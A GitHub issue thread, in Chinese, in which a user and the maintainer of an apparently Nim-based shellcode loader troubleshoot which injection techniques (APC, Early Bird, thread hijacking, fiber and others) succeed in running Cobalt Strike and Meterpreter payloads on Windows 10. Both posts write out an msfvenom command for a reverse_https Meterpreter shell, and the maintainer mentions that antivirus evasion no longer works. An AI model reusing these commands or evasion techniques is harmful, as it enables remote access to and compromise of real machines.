Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

程序加载方法兼容性综合测试 #6

Open
spooky18 opened this issue Oct 19, 2021 · 2 comments
Open

程序加载方法兼容性综合测试 #6

spooky18 opened this issue Oct 19, 2021 · 2 comments

Comments

@spooky18
Copy link

spooky18 commented Oct 19, 2021

测试环境在win 10 64位,Nim、MingW编译环境均为64位。其中很多方法不上线,不知道是我的测试方法不对还是?

Cobalt Strike 生成的64位 shellcode , 格式raw的bin文件

Thread_Pool_Wait 报错

image

Thread_Hiijack_Inject_Load 不上线

OEP_Hiijack_Inject_Load 不上线

APC_Ijnect_Load 不上线

Direct_Load 上线

Early_Bird_APC_Injetc_Load 上线

Fiber_Load 报错

image

msfvenom生成的64位 Shellcode、命令“
msfvenom -p windows/x64/meterpreter/reverse_https -f raw LPORT=443 -o test_x64.bin LHOST=xx.xx.xx.xx

APC_Ijnect_Load 不上线

Early_Bird_APC_Injetc_Load 不上线

Fiber_Load 不上线

Direct_Load 不上线

OEP_Hiijack_Inject_Load 不上线

Thread_Hiijack_Inject_Load 不上线

Thread_Pool_Wait 不上线

@aeverj
Copy link
Owner

aeverj commented Oct 20, 2021

测试环境在win 10 64位,Nim、MingW编译环境均为64位。其中很多方法不上线,不知道是我的测试方法不对还是?

Cobalt Strike 生成的64位 shellcode , 格式raw的bin文件

Thread_Pool_Wait 报错

image

Thread_Hiijack_Inject_Load 不上线

OEP_Hiijack_Inject_Load 不上线

APC_Ijnect_Load 不上线

Direct_Load 上线

Early_Bird_APC_Injetc_Load 上线

Fiber_Load 报错

image

msfvenom生成的64位 Shellcode、命令“ msfvenom -p windows/x64/meterpreter/reverse_https -f raw LPORT=443 -o test_x64.bin LHOST=xx.xx.xx.xx

APC_Ijnect_Load 不上线

Early_Bird_APC_Injetc_Load 不上线

Fiber_Load 不上线

Direct_Load 不上线

OEP_Hiijack_Inject_Load 不上线

Thread_Hiijack_Inject_Load 不上线

Thread_Pool_Wait 不上线

我使用的命令msfvenom -p windows/x64/meterpreter/reverse_https -f raw LPORT=4433 -o test_x64.bin LHOST=192.168.1.11
图片
win10可以正常上线,这个现在已经不免杀了,需要关闭杀软。

@spooky18
Copy link
Author

spooky18 commented Oct 25, 2021

win10可以正常上线,这个现在已经不免杀了,需要关闭杀软。

我确定了是关闭了杀毒软件后,只有Direct和Early_Bird_APC_Injetc_Load可以上线,其它的5种方法有2个直接报错,其余的不报错但是不上线,您方便的话可以按我测试不成功加载方法试一下。
Thread_Pool_Wait 报错,不上线

Thread_Hiijack_Inject_Load 不上线

OEP_Hiijack_Inject_Load 不上线

APC_Ijnect_Load 不上线

Fiber_Load 报错,不上线

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants